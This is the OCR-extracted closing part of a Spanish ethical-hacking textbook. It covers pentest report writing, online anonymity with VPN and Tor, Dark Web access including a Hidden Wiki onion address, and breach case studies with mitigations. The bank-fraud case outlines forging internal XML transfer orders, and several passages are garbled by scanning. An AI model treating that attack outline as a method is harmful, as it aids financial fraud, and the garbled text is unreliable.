incluido en un reporte ejecutivo es lo siguiente,
toma en cuenta que esto generalmente se presenta
mas en graficas y tablas que en detalles técnicos:
1. El contexto: Esto se refiere a el objetivo de la
auditoria, activos que se auditaron, tiempo, etc.

2. Resultados/conclusiones: En esta seccion se
debe de hablar de la efectividad del pentester
en llegar a los objetivos que se establecieron,
en términos generales, se comprometié algun
sistema, o ninguno, o algunos en cierta medida,
etc.

3. Ranking de riesgo: Aunque un analisis de
riesgo completo es otro tema completamente
diferente, es recomendable dar un valor
numérico del nivel de riesgo que presenta la
organizacion, es relativamente subjetivo, pero

esto es tomando en cuenta si las
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vulnerabilidades encontradas son criticas o no,
y si estan en un sistema importante o no, una
forma de hacer esto es catalogar el nivel de
riesgo organizacional general, y por areas, por
ejemplo, esto se puede dividir por
departamentos o por activos (digamos, si sus
sistemas son seguros, pero su personal esta
mal entrenado, entonces tienen bajo riesgo en
el sistema pero alto en el personal, entonces la
mitigacion debe de enfocarse a entrenamiento

mas que inversion en infraestructura).

‘VY"!‘"CTKE 2l

L _ Information Security Risk Rating Scale = ]

* Extrame rlsk of security controls belng compromised with
the possibllity of catastrophic financial lasses occurring as
aresult

= )
| ¢ High risk of security controls being compromisad with the
petential for significant financial losses securring asa
result

E l eva ted ® Elevated tisk of security controls being compromised with
the potential for matetial financlal losses occurring as a
79 result

i
* Moderate risk of security controls belng compramised with
the possibility of limited financial losses occurring asa
result

Love risk of security controls being compromised with
measurable negative impacts asarasult
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4. Encuentros generales: Aqui es un resumen de
lo que se encontré o los errores principales, por
ejemplo, si la mayoria de los errores fueron a
base de falta de entrenamiento, o falta de
actualizacion, o de la red, etc, generalmente

esto se presenta en una tabla o grafica.

e

Security Risk Origin/Category

® Missing Patch

® Lack of Application
Hardening

# Lack of OS Hardening

m Easily guessable
credentials

= Network Design Flaw

5. Resumen de recomendaciones: En este
apartado se menciona las recomendaciones
como experto para elevar el nivel de seguridad,

que cosas son prioridad, que cosas no, y como

se podria resolver, recuerda, el trabajo del

pentester no es asequrar, ese es un trabajo

adicional,
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6. Plan de accion: Esto es relativo a la
organizacion, pero un plan de accion pone
acciones en concreto que recomiendes como
experto para que se eleve el nivel de seguridad
empresarial, y plazos especificos en los que

deberia de cumplirse ciertas metas.

Completed at the time of this assessment

‘Tasks
Identffy internal security point of contact
o |dentfycument s o dedicate the task af resdiving securty concemswithin the emvianment, The
Jiation prooess shouid b d and supoorted ,;mnstsrﬂhnrderiﬂetmymmgeﬂsqnmm._

+  Securs approgriste fundnigfor initial program feview and 3" pariyassessment

\dentify Current Security State of security
»  Thziaskwil ba perf o atan axacutiy s tavel, CLIENT wit identifythe proper cwnershin and exeaufve support
channaligchampan s efiort. n addton, CLIENT wiil naed fofakainveriony of the Secrty MansgementChan

of o', Py, Prosedure, 3 Compisnoe racking spphistcstion.

EJnaJ'I} fa T!'lree_(i!) l\ﬁon_{hs = =

i"?ask?i TEeE ey Srhids =
| Create Remediation Strategy |
| astiacraates ful mmadation stalegy |

+  Leverageresuls foundwithinthe Penetatan T
s Thiz assessmenirapod wil provide thebas=forthis action. i must now be formakzed and approved by the
| CLIENT Securty Tesm. y -l -
Creale Information Security CouncilTask Force
To gain betertraction in {haremadstan and securty enbosrding process, CLIENTshould creste s
counci o aid in rermediationand adeq.lal&'ylnvb‘ve-aa’:hmdfv}dusﬂa}m.

specficiSEC |

i « Tnecouncishouldconsst of Mansgsmant ofeachindvidual Businassunit
| |

. -
| Begin Security Project planning
| »  Assign Executive owners of secunty for CLIENT

| Prioritize Remediation Events
e {ayvarageresuis foundwilhin

sanatrafon Tast logainundarstsndng of fhe iasks nesded tobe peformadin order |

sks idantfied
fsting to rernadialion tasks {hatwil pravida the highest lavel of impastand iargest reductionof

® Starprocasswith senver palching 1o gein auck increazas in snvironmant Securty.

f"Palch Services |
+ Specific things to be fixed/how...

| e .
| Harden Servers
i L]
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Esta seccion no va dirigida a los ejecutivos, si no a

Reporte Técnico

los programadores, o ingenieros de sistemas, aqui

es donde deberas ser tan detallado y técnico como

sea posible, lo importante aqui es la narrativa del
ataque, que es donde redactas la metodologia, con
capturas de pantalla y detalles de las herramientas

y comandos utilizados, como obtuviste acceso a los

recursos de la organizacion, para esto vas a

redactar la metodologia que has aprendido a lo ‘

largo de este libro.

Partes de un reporte técnico:

1. Introduccion: En la seccion de introduccion
deberas reportar el inventario inicial del ataque,
que puede ser cosas como el personal
involucrado, la informacién de contacto, el
alcance de activos involucrados, el objetivo, y la
estrategia.

2. Reconocimiento: deberas documentar todas

las técnicas de reconocimiento, herramientas, y
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comandos que hayas utilizado para obtener

informacioén para realizar el ataque.

. Analisis de vulnerabilidades: Documentar

todo lo que se utilizé y lo que se obtuvo en esta

fase del pentest.

. Explotacion: Documentar todo lo que se utilizé

y lo que se obtuvo en esta fase del pentest.

. Post- Explotacion: Documentar todo lo que se

utilizé y lo que se obtuvo en esta fase del

pentest.

. Riesgo: En este punto la meta es darle al

cliente la habilidad de identificar, visualizar y
mitigar las vulnerabilidades encontradas, asi
que aqui deberas cubrir los incidentes en los
que fueron comprometidos los recursos, que tan
probable es que sucedan, el grado de magnitud
que representa, y las pérdidas posibles que
ocasiona un ataque real si el riesgo no es

mitigado.

. Conclusién: Finalmente, un resumen del

pentest, plan de accion y recomendaciones
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para mejorar el nivel de seguridad de la

organizacion.

Estas son las bases para realizar reportes
profesionales, aun sugiero que visites la pagina de
pentest-standard para leer un poco al respecto

http://lwww.pentest-

standard.org/index.php/Reporting asi como ver

los ejemplos de reportes que subi en

https://whitesuithacking.com/material-libro.
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Anonimato, Dark Web y Deep
Web

Estos temas se han vuelto de mas interés ultimamente,
pero realmente poca gente entiende cdmo funciona y
que es la Deep web y Dark web, adicionalmente, cada
vez mas gente es consciente de su privacidad debido al
constante espionaje a nosotros que existe de parte del
gobierno y las grandes corporaciones, asi que en este
capitulo hablemos algo del tema, a este punto ya no es
necesario utilizar Kali Linux, y todo esto es compatible

con Windows, Macintosh y Linux.

Anonimato

Antes de poder tener anonimato en la red, tenemos que

entender como es que nos rastrean en |la red y obtienen

informacion nuestra, la forma en la que somos

rastreados principalmente involucra a los siguientes

factores:

1. Direccioén IP y routers - Este es el primer
factor que se utiliza para rastrear a una

persona, ya que facilmente con la IP podemos
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obtener la ubicacion aproximada de una
persona, su proveedor de internet, y por ese
medio podriamos hacer escaneos que nos den
mas informacion, ya que nos podria permitir una
comunicacion con el router.

Adicionalmente, algo poco conocido pero real,
es el hecho que a pesar que para un atacante la
IP le da informacion de una ubicacion

aproximada, compafiias como Apple y Google

saben exactamente tu ubicacién, debido a que
los sistemas operativos de los celulares, al
conectarse a un nuevo router, secretamente le
mandan informacion de ubicacién GPS a la
compaiiia duena del sistema (i0S-Apple,
Android-Google), por lo que actualmente son de
las compaiias que potencialmente mas
informacion tienen de todos nosotros, Google
tiene un formulario para solicitar que se borre o
no se grabe mas informacion de este tipo, sin
embargo, Apple al momento que estoy

escribiendo esto, no tiene tal herramienta.
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compaiiias como Facebook, Google y Amazon
“magicamente” saben en qué productos
estamos interesados, que paginas visitamos, y
mucha mas informacion nuestra, esto es
gracias a las sesiones que guardan las
“cookies” de los navegadores, que permiten
rastrearte incluso cuando sales de las paginas
de estas compaiiias. Por esta razon, Google
sabe que estas haciendo incluso si no estas en
una pagina de Google, igual que Facebook,

Amazon y Microsoft.

Redes - Un atacante, como ya hemos
mencionado en el libro, podria saber lo que
estas haciendo si intercepta informacion que
mandas dentro de una red privada, es cierto

que con encriptacion punta a punta dificiimente

van a poder espiar la informacién que mandas
por ese canal, sin embargo, hay otra clase de
informacion no encriptada que mandas, como

tus peticiones DNS (que dicen a qué pagina
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estas entrando), tu direccion MAC (que dice el
nombre de tu fabricante), y potencialmente los

servicios que utilizas.

4. Otros - Existen otros factores que pueden
ayudar a una compaiiia u atacante a rastrarte,
por ejemplo tu hardware (direccion MAC), tu
sistema operativo, tu navegador, tu historial, tus
busquedas en Google u habitos de navegacion
(por ejemplo las aerolineas las utilizan para
segmentar precios).

Y si te pones mas estricto, hasta las antena
telefonicas y las cdmaras de seguridad en la
calle pueden ser utilizadas para rastrear
personas, sin embargo probablemente no tienes
que preocuparte de esto mientras no seas
buscado por una instancia gubernamental o
militar.

Ahora que entiendes algunas de las cosas que

utilizan para rastrearte, veamos como protegerte, a

primera instancia puede sonar un poco complicado
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bloquear todos esos factores, sin embargo, en

realidad no es muy complicado.

Empecemos por lo mas basico, un VPN, un VPN
bueno va a hacer dos cosas muy importantes,
primero, va a encriptar el canal de
comunicacion, de forma que a pesar que estas
conectado por tu router normal, todo el trafico va a
pasar por un “tunel” encriptado directamente al
servidor VPN, y desde este servidor VPN vas a
acceder al internet, esto encripta tu canal de
comunicacion de forma que si algun atacante
intercepta las redes en tu LAN, no va a poder ver
absolutamente nada, adicionalmente, va a
esconder tu proveedor de internet (ISP), tu
informacion de este, y tu IP, haciendo dificil que
alguien te rastree por tu IP o por tu red o ISP.
Hay una debilidad, sin embargo, deberias de
investigar la VPN que utilices, ya que esta VPN si
tendra acceso a toda la informacién que
normalmente tu ISP y Router verian, y si la

compaiiia elige, podria utilizar tu informacion de
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forma indebida, o compartirla con gobiernos,
empresas o ISPs para rastreo, asi que vale la pena
investigar a los duefios de una empresa VPN, y sus
politicas de privacidad, por ejemplo, cuando '
TunnelBear(una empresa de origen Canadiense)
fue comprada por Mcafee, una empresa
americana, algunos usuarios dejaron de utilizar el
servicio debido a que al tener que acatar las leyes
americanas con la compra, potencialmente
tendrian que darle al gobierno americano datos de

sSus usuarios.

o=

VPN Server

i
_____ ) {No VPN) @

& The Internet

Ahora, una VPN ciertamente ayudara mucho a tu
privacidad, sin embargo, si realizas busquedas,

incluso con navegadores “incognitos” como el de
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Chrome, vas a ser rastreado por medio de las
sesiones, asi que una solucion sencilla es en las
busquedas utilizar buscadores como
DuckDuckGo, que asegura no rastrar a sus
usuarios, y no dar bisquedas ni publicidad

personalizadas por o mismo.

Sin embargo, si quieres ser realmente anénimo en
la red usando ti mismo sistema operativo, una de
tus mejores opciones es utilizar TOR, un
navegador que puedes instalar entrando en la

pagina https://www.torproject.org/. Este

navegador tiene algunas caracteristicas especiales,
la primera, es que, utilizando la tecnologia de TOR,
te conecta al internet por medio de proxychains, lo
cual esencialmente te conecta al internet a través
de otro sistema, que esta conectado a otro sistema,
de forma que se vuelve dificil para una
organizacion u atacante, rastrearte,
adicionalmente, TOR por defecto no guarda

cookies, y el buscador por defecto es
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DuckDuckGo, asi que es el navegador perfecto
para anonimato.

Sin embargo, en TOR hay una diferencia entre
anonimato y privacidad, ya que a pesar de que la
tecnologia TOR hace un buen trabajo escondiendo
quién eres y donde estas, no esconde lo que estas
haciendo, es decir, no encripta la informacion como
un VPN.

Otra funcionalidad de TOR, es que permite acceso

a los sitios .onion, que son en donde se

encuentran muchos de los sitios en la Deep/Dark
Web.
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Deep Web & Dark Web

Ahora hablemos un poco de la Deep Web'y la Dark
Web, estos conceptos usualmente son causa de
confusién y morbo, con leyendas sobre redes
criminales e incluso conspiraciones dentro de estas
redes, asi que empecemos por entender que son

estos conceptos, y cudl es la diferencia entre estos.

Deep Web

Empecemos por la Deep Web, esta es una

clasificacion que se refiere a todo lo gue no pueda

ser encontrado por un motor de busqueda, y no

necesariamente significa que es algo que sea
explicitamente oculto o ilegal, simplemente es una
limitacién de la tecnologia de un motor de
busqueda, un ejemplo sencillo es una base de
datos dentro de una pagina web, por ejemplo algo
como la base de datos de crimenes en Dakota del
Norte,
Mt_gllpuﬁbicsearch.ndcourts.qov@gfault.jspx ;

si intentas encontrar resultados dentro de esta
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esta red redes criminales enormes que van desde
asesinos a sueldo hasta tréfico de drogas 'y de

| personas, también existe para combatir la censura en

base de datos por medio de un motor de blsqueda
como Google, DuckDuckGo o Bing, no lo lograras,

entonces por definicion esta informacion pertenece
; . paises con gobiernos opresores, dando acceso a un

13 kL] e H ’
a ia “Deep Web”, adicionalmente, no necesitas canal de comunicacion seguro y anénimo comunmente

nada en especial fuera de un navegador comtin : utilizado por los medios de comunicacion oprimidos.

para acceder a un sitio de la “Deep Web”, de e aa

seguro lo has hecho cientos de veces en

informacion dentro de paginas no indexadas.
Acade

Dal'k Web Medical Records
La “Dark Web”, sin embargo, es algo completamente
diferente, los sitios en la Dark Web son clasificados

como los que son intencionalmente escondidos e

inaccesibles a través de navegadores comunes. Los
sitios de la Dark Web son creados para estar ocultos,
dentro de aqui la privacidad es primordial, el contenido
mas conocido es el que se encuentra dentro de la red
TOR, que puedes identificar por la terminacién .onion

de los sitios.

Esta es la red que es causa de diversas leyendas,
teorias de conspiracion y grupos criminales, y a pesar

de que esto Ultimo si es verdad, existiendo dentro de
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Ahora que entiendes que es la Deep Web y la Dark

Como entrar

Web, seguro te preguntaras en el caso de la Dark
Web “y como entro a esta red?”, bueno, antes de
decirte, tengo que mencionarte que es verdad que
dentro de esta red existen redes enormes de
criminales y contenido ilegal tal como la
pornografia infantil, homicidios y trafico de drogas,
ademas de que existen comunidades de
cibercriminales en esta red, asi que se prudente al
entrar a esta red, no por utilizar TOR significa que
eres 100% irrastreable, ademas gque existen
entidades gubernamentales como el FBI que

activamente buscan criminales en esta red.

Ahora, para entrar, requeriras dos cosas:

1. TOR - El navegador TOR que mencione
anteriormente, instalalo en tu sistema.

2. Direccién Onion - Una direccién URL .onion,
ya que como mencionamos anteriormente,

estas paginas no estan indexadas en ningtn
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buscador, por lo cual la Unica forma de entrar a

una pagina de la Dark Web es directamente con

la URL, o saltando de liga en liga.
Ahora, una vez que hayas iniciado TOR, una
sugerencia seria ir a lo que se considera el “inicio”
de la Dark Web, por ser lo mas conocido del tema,
esta es una pagina que se llama The Hidden Wiki,
para entrar aqui, basta con escribir la URL
http://zgktlwidfecvobri.onion/wiki/index.php/Mai
n_Page en TOR, y les aparecera una pagina que
tiene un directorio de las paginas mas conocidas

de la Dark Web.

Ahora, lo repito, existen ligas con contenido

peligroso, criminal y actividades ilicitas,

recomiendo no entrar, y ser prudente al enfrar a

paginas en esta red, asi como en dar o solicitar

informacion.
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Casos 1. La sucursal: Aqui es donde verifican la
informacion de los clientes, su identidad, y
En esta seccion veremos algunos casos de la vida reciben y entregan dinero de los chenteg
real en la que cibercriminales han atacado 2. El corporativo: Aqui es donde se auton’z“an las
exitosamente a organizaciones, intenta determinar transferencias, creacién de cuentas, envi6 de
dos cosas mientras los lees: dinero, créditos, etc. .
1. ¢Qué técnicas pudieron haber utilizado para 3. El sistema: Aqui es donde realmente existe el
realizar el ataque? dinero, ya que como todos sabemos, nuestro
2. ;Situfueras el jefe de seguridad, qué harias dinero en general no existe, son datos en
para defender de ese tipo de ataques? sistemas.
Ahora, empecemos con los casos.

*nota: Algunas cosas las estamos asumiendo, ya que no
tenemos forma de saber a ciencia cierta si paso
exactamente asi, pero estan basadas en evidencias
reales.

Robo bancario

Empecemos por uno de los casos mas
interesantes, hace algunos afos, se realizo un robo
bancario por aproximadamente 18 millones de
pesos mexicanos a un banco mexicano, en el que
los culpables nunca fueron detenidos, lo siguiente
lo estamos asumiendo en base al informe forense.

Ahora que entendemos esto, empecemos con €l
ataque.

De alguna forma, ¢ el grupo delictivo obtuvo acceso
a la red interna del corporativo, como crees que
pudo pasar esto?

La teoria es que paso como pasa en la mayoria de
los casos, utilizando ingenieria social para obtener

Para empezar, tenemos que entender el
fundamento de como funcionan los bancos, y, a
grandes rasgos, existen tres partes de un banco.

554 555




_v_

‘VW!"!TF =

acceso a un sistema a traves de las personas poco
entrenadas en ciberseguridad.

A través de esta red, intentaron acceder el sistema,
para “agregarse unos ceros de mas”, sin embargo,
esto fue imposible por el nivel de seguridad que se
tenia en el sistema.

Asi que, los hackers decidieron ahora poner en su
mira a las personas que trabajan dentro del
corporativo, analizando su trafico, y pivoteando
dentro de la red. ; Con que herramientas o técnicas
vistas en el libro podrias hacer esto?

Después de un tiempo, se dieron cuenta que los
empleados del corporativo se enviaban entre ellos
(en la red interna) archivos XML no encriptados, en
los cuales habia informacién de cuentas,
transacciones y mas informacién que era la que se
usaba para hacer solicitudes al sistema.
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Con esto, los hackers decidieron lentamente crear
una lista de los clientes mas ricos del banco,
posteriormente, filtraron archivos XML falsos en los
cuales se solicitaba crear cuentas bancarias a
nombre de ex convictos de forma que no se
requiera la verificacién usual de la sucursal.

Luego de esto, simplemente filtraron mas archivos
XML con érdenes de transferencias bancarias,
haciendo que los mismos empleados empezaran a
realizar las solicitudes de transferencias, y
finalmente, solo fue cuestion de mandar a los
exconvictos a retirar dinero de las sucursales con
su nombre.

Asi fue como el banco perdio 18 millones. Ahora, si
tu fueras el €S0, ; Qué harias para que esto no
vuelva a pasar?
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¢ En este caso, cuales fueron las causas de que el
ataque fuera exitoso?
Yo diria que fueron estas principalmente:

Mitigacion

1. Los empleados no estaban bien entrenados
2. Se enviaban archivos XML sin encriptacion

3. No habia una segunda verificacién para
autorizar movimientos, lo cual es una falla en la
politica de seguridad

Una mitigacién obvia seria auditar primero que nada
los procesos para crear y autorizar movimientos en las
cuentas, lo cual requiere cambiar la politica de
seguridad empresarial, la segunda, probablemente
siendo la méas importante, seria la capacitacion de los
empleados, lo mas probable es que los hackers
obtuvieron el primer acceso por una falla humana a
traves de ingenieria social, y al final, el ataque fue
hecho por las manos de los empleados, asi que hubo
una falla en capacitacion.

POLICIES _

URE —
ROCE? ;_-—*"5"'?
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Robo a laboratorio farmacéutico
(espionaje industrial)

Hace algunos afos, cierta empresa de investigacion en
México tuvo un robo en su propiedad intelectual
(investigaciones).

En esta empresa, los trabajadores y socios son de clase
alta en la ciudad mas rica del pais, y por ello,
combinado con un poco de arrogancia, evitan el
contacto con gente de clase baja, por lo que una
empresa externa administraba su area de RH para
contrataciones de intendencia y mantenimiento.

Un dia, se contratd a un conserje, que a primera vista
era una persona de tez y clase humilde, y por esto y lo
mencionado anteriormente, fue asignado el horario
nocturno de limpieza.

Resulta, que esta persona era un espia
industrial altamente capacitado, y al limpiar
de noche, y notar que toda la investigacién
de los empleados estaba sobre los
escritorios, simplemente saco su celular y
tomo fotos de todo, esto causo pérdidas
millonarias debido al tipo de material que era
(investigacion).

¢ Qué cambios harias en la empresa para
evitar este tipo de ataques?
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Mitigacion
¢ En este caso, cuales fueron las causas de que el

ataque fuera exitoso?
Yo diria que fueron estas principalmente:

1. Los empleados no estaban bien capacitados

2. Tenian mal cadena de seguridad en su proceso
de contratacion

3. No habia una adecuada politica de seguridad
En este caso, lo primero que se hizo, fue establecer
una politica de “escritorio limpio”, esencialmente
significa que al terminar el dia el escritorio tiene que
estar limpio, y lo segundo, fue revisar el proceso de
investigacion a la gente que contratan y a las
subcontrataciones (como el de RH que

subcontrataron).
o

IBARRY S A FINE EXAMPLE OF THE Sytcess, oF
OUR CLEAR DESBK Poticy”
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Filtracion de cadena de comida rapida
(espionaje industrial)

Hace tiempo, una cadena de comida rapida que
vende hamburguesas principalmente, llamémosla
“K”, realizo una investigacion de mercado extensa
sobre estudiantes, que costo 9 meses y varios
cientos de miles de pesos, pero finalmente llegaron
a la conclusion que si vendian su hamburguesa a
$X precio en cierto horario, venderian muchisimas
hamburguesas a los universitarios, finalmente
ganando mercado contra empresa “M”, entonces
se tomo la decision de sacar la promocién y se
mandé comunicados a la imprenta para los flyers.

Sin embargo, un espia industrial que obtuvo la
informacion gracias a la comunicacion que se tuvo
con la imprenta, le vendio la informacion a empresa
M, la cual inmediatamente lanzo su promocidn,
ganandole en tiempo a empresa K, vy,
efectivamente, en ventas, empresa K también saco
la promocion, pero al ser después, tuvo menos
efecto del esperado, y empresa M gasto una
fraccion de recursos para obtener mas beneficio.

Esto fue debido a una falla en seguridad de la
informacion, ¢ qué harias tu para evitar esto?
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. En este caso, cudles fueron las causas del problema?
Yo diria que fueron estas principalmente:
1. La cadena de comunicacién no tenia privacidad

Mitigacion

2. Mala politica de seguridad

3. Mal tiempo de respuesta
En este caso la principal causa es obvia, la mala
cadena de comunicacion y politica de seguridad cliente-
proveedor de las empresas, aqui vale la pena aprender
de Apple, de cdmo su cadena de produccion, a pesar
que esta en china, exige investigar a cada empleado, y
tienen prohibido llevar celulares a las fabricas, ademas
de que no se le da a ninglin area o empleado toda la
informacion, de forma que nadie tiene la informacion
completa, adicionalmente, el tiempo de respuesta fue
un factor, que hizo que la competencia tuviera suficiente
tiempo para robarles la estrategia.
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Conclusion

Asi concluye este libro, espero hayas aprendido
bastante, y realizado las practicas, si deseas
probar y aumentar tus conocimientos, en nuestra
pagina whitesuithacking.com y
hackshop.whitesuithacking.com puedes
encontrar examenes de certificacion, cursos y
herramientas.

Como habras notado a lo largo de este libro, lo mas
importante no fueron las técnicas, si no conocer la
metodologia y estandares para que puedas partir de
ahi y aprender con una buena base, en los siguientes
libros, tocaremos temas mas especializados
partiendo de aqui, como ataques todavia mas
peligrosos, temas como informatica forense, defensa,
pentesting a paginas web, entre otras cosas.

Préximamente publicaremos nuevos libros de hacking
y otros temas.

The Boss is morried obout
IT Security, sohe sends
his messages in one
elphabaer lettar at o time
ir randam sequence.

Sin mas que agregar, jHAPPY HACKING!
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En este libro, que te lleva de la mano desde los fundamentos
hasta las técnicas més modernas de ataque, aprenderas
a convertirte en un hacker profesional, una de las
profesiones mds demandadas
y mejor pagdas del mundo.

A pesar de que el enfoque es para uso profesional, se veran
principalmente técnicas de seguridad ofensiva, es decir, de
ataque, para que puedas auditar a una organizacion
y defenderla de estos tipos de amenazas.

También podrds encontrar dentro de este libro todas las
herramientas necesarias que te mostraran técnicas de
hacking de forma practica. Ademds, este libro te ayuda

a prepararte para que puedas pasar el exdmen de

Certificacion reconocida de ciberseguridad G.HOS.T.

iDiviértete convirtiendote en el préximo hacker profesional!
Para encontrar mas informacion de nosotros, visitanos en

whitesuithacking.com

YRR Y1 |

HACKER PROFESIONAL
Pablo Gutiérrez Salazar

COMO CONVERTIRTE EN UN

VWHITE BOOK






